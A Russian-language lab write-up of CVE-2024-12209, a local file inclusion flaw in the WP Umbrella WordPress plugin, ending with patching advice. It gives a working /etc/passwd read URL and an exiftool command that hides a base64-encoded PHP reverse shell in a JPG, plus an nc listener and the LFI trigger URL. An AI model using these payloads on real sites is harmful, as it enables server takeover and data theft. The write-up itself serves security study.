Введение
В популярном плагине WordPress
— WP Umbrella
, установленном более чем на 30 000
сайтов, была обнаружена критическая уязвимость. Этот недостаток, получивший идентификатор CVE-2024-12209
, может позволить неавторизованным злоумышленникам полностью захватить контроль над уязвимыми сайтами.
Уязвимость имеет оценку в 9.8
баллов по CVSS
.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
Для чего используется плагин WP Umbrella
WP Umbrella — это плагин для управления WordPress
-сайтами, который облегчает мониторинг, управление и обслуживание множества сайтов с одной центральной панели. Этот инструмент особенно полезен для разработчиков, агентств и владельцев бизнеса, которые обслуживают несколько сайтов WordPress
.
Подготовка стендового окружения
Для работы WordPress
необходимо установить веб-сервер с поддержкой PHP
, а также поднять MySQL
. В качестве тестового окружения будет использоваться XAMPP.
Установка WordPress
Заходим на страницу загрузки WordPress
и скачиваем последнюю версию:
Теперь нужно разархивировать WordPress
и перенести его в корневой каталог веб-сервера (для XAMPP - /opt/lampp/htdocs
):
cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/
Также нужно изменить владельца папки wordpress
на пользователя веб-сервера (в случае с XAMPP - daemon
):
sudo chown -R daemon:daemon /opt/lampp/htdocs
Дальнейшая установка происходит в GUI WordPress
. Чтобы перейти к нему в браузере заходим на http://127.0.0.1/wordpress
Разбор уязвимости
LFI
(Local File Inclusion
) — это уязвимость в веб-приложениях, которая позволяет злоумышленнику включать файлы с локального сервера в контексте работы приложения. Обычно она возникает из-за недостаточной обработки входных данных в функциях, которые динамически подключают файлы, например, в PHP
через include
, require
, include_once
или require_once
.
LFI
в WP Umbrella
доступна через параметр filename
в функции umbrella-restore.
В статье будет рассмотрено два вектора эксплуатации уязвимости:
Для пользователя с ролью “
Участник
”, которому не доступна загрузка медиафайлов.Для пользователя с ролью “
Автор
”, которому доступна загрузка медиафайлов.
Первый вектор
Для эксплуатации используем уже существующий PoC.
https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd
Второй вектор
Подготовим jpg
файл, который нужно будет загрузить на сервер. При помощи ExifTool
добавим в комментарий Reverse Shell
:
exiftool -Comment="<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash')?>" name.jpg
Чтобы загрузить файл, необходимо перейти во вкладку “Медиафайлы
” и нажать “Добавить новый медиафайл
”.
Когда файл загружен необходимо узнать по какому пути он находится, для этого можно скопировать URL
:
От лица атакующего необходимо запустить слушателя:
nc -lvnp 4444
Теперь при помощи LFI
можно открыть этот файл:
http://localhost/?umbrella-restore=1&filename=wp-content/uploads/2024/12/maxresdefault.jpg
Получаем connect
:
Прочитаем флаг:
Рекомендации по устранению
Для предотвращения подобных атак настоятельно рекомендуется:
Немедленно обновлять плагин до исправленной версии.
Применять передовые методы безопасности, включая регулярное резервное копирование и использование веб-файерволов.
Следить за обновлениями системы и её компонентов.
Заключение
CVE-2024-12209
демонстрирует критическую важность регулярного мониторинга и обновления используемых плагинов для WordPress
.
Уязвимость в WP Umbrella
, связанная с локальным включением файлов, позволяет атакующим осуществлять удалённое выполнение кода, что приводит к серьёзным последствиям, включая утечку данных и полный контроль над сервером.
Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam